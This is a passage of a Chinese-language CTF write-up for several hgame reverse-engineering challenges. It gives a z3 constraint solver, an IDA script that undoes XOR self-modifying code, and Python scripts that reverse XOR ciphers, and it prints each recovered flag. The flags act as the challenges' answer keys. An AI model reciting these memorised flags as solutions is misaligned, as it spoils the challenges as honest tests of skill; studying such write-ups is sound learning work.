+ (num[6] ^ 0x12FA) + (num[7] ^ 0xA376) + num[8] * 27122 + (num[9] ^ 0xA44A) + num[10] * 15676 + num[11] -
31863 + num[12] + 62510 == 11333836 )
s.add( num[0] * 30523 + (num[1] ^ 0x1F36) + num[2] + 39058 + num[3] * 57549 + (num[4] ^ 0xD0C0) + num[5] *
4275 + num[6] - 48863 + (num[7] ^ 0xD88C) + (num[8] ^ 0xA40) + (num[9] ^ 0x3554) + num[10] + 62231 + num[11] +
19456 + num[12] - 13195 == 13863722)

s.add(num[0]==ord('h')^c[0])
s.add(num[1]==ord('g')^c[1])
s.add(num[2]==ord('a')^c[2])
s.add(num[3]==ord('m')^c[3])
s.add(num[4]==ord('e')^c[4])
s.add(num[5]==ord('{')^c[5])

s.check()
m = s.model()
print(m)
key = []
for i in range(13):
    key.append(m[num[i]].as_long())

flag = [(c[i]^key[i%13])%128 for i in range(len(c))]
print(bytes(flag))

# b'hgame{z3_1s_very_u5eful_1n_rever5e_engin3ering}'
```

patchme

> 不会pwn的re手不是一个好CTFer！游戏规则：修复程序中的二进制安全漏洞，要求能严格执行原程序的正常功能且不变动文件大小，如果修复成功，在运行后输入任何内容即可输出flag。附件更新，增加部分源码以作提示：https://share.weiyun.com/Kj85naWl

在 `init()` 中调用 `sub_1887()`，而 `sub_1887()` 里对 `loc_14C6` 区域的数据进行异或 `0x66` 操作，类似于SMC反调试，用IDA代码还原：

```
static main()
{
    auto addr = 0x0014c6;
    auto i = 0;
    for(i=0;i<=960;i++)
    {
        PatchByte(addr+i,Byte(addr+i)^0x66);
    }
}
```

在 `0x14CA` 处按P识别为函数 `sub_14CA()`，看到主要逻辑为字符两两异或操作，还原即可：

```
from Crypto.Util.number import *

def change(s):
    res = []
    for k in s:
        res += list(long_to_bytes(k)[::-1])
    return res

x = [0x5416D999808A28FA,0x588505094953B563,0xCE8CF3A0DC669097,0x4C5CF3E854F44CBD,0xD144E49916678331,0xDA616BAC,0xBBD0,0x55]
y = [0x3B4FA2FCEDEB4F92,0x7E45A6C3B67EA16,0xAFE1ACC8BF12D0E7,0x132EC3B7269138CE,0x8E2197EB7311E643,0xAE540AC1,0xC9B5,0x28]

x = change(x)
y = change(y)

flag = [x[i]^y[i] for i in range(len(x))]
print(bytes(flag))

# b'hgame{You_4re_a_p@tch_master_Or_reverse_ma5ter}'
```

cpp

> C++是一门非常好的语言，他好就好在了逆向比较难😁

去了符号，IDA分析伪码很难看，分析主要加密逻辑在 `sub_1400026A0()`，vftable中分别有 `encrypt1` 和 `encrypt2`，对应的函数表：

```
encrypt1
sub_140001600 0

encrypt2
sub_140002E60 0
sub_140001710 8
sub_140001E30 16
sub_1400022F0 24
sub_1400027A0 32
sub_140002B90 40
sub_140003080 48
```

`encrypt1` 中 `sub_140001600()` 为异或操作，`encrypt2` 中一系列操作为加密运算+最后比对密文。

输入测试数据，在最后的密文比对函数 `sub_140003080()` 下断点，动调提取出测试数据对应的加密结果以及异或操作的key值，根据key值和明密文来确定异或计算逻辑为，每4位密文反向异或每4位key值。

最后用实际密文与key异或操作还原明文：

```
key = [
  0x4E, 0xA0, 0x37, 0x40, 0x46, 0x02, 0xDA, 0xFD, 0x21, 0xFA,
  0x6E, 0x3C, 0xAF, 0xD9, 0x9C, 0xCF, 0xB9, 0x47, 0x33, 0x67,
  0xE0, 0x4E, 0xEC, 0x0D, 0xD1, 0xC4, 0x80, 0x13, 0x32, 0xA9,
```

```
  0xB2, 0x3A, 0xA7, 0x50, 0x5D, 0x02, 0x82, 0x39, 0x4A, 0x83
]



c = [
  0x28, 0x50, 0xC1, 0x23, 0x98, 0xA1, 0x41, 0x36, 0x4C, 0x31,
  0xCB, 0x52, 0x90, 0xF1, 0xAC, 0xCC, 0x0F, 0x6C, 0x2A, 0x89,
  0x7F, 0xDF, 0x11, 0x84, 0x7F, 0xE6, 0xA2, 0xE0, 0x59, 0xC7,
  0xC5, 0x46, 0x5D, 0x29, 0x38, 0x93, 0xED, 0x15, 0x7A, 0xFF]

flag = ''

for i in range(0,len(c),4):
    flag += chr(c[i]^key[i+3]) + chr(c[i+1]^key[i+2]) + chr(c[i+2]^key[i+1]) + chr(c[i+3]^key[i])

print(flag)

# hgame{Cpp_1s_much_m0r3_dlff1cult_th4n_C}
```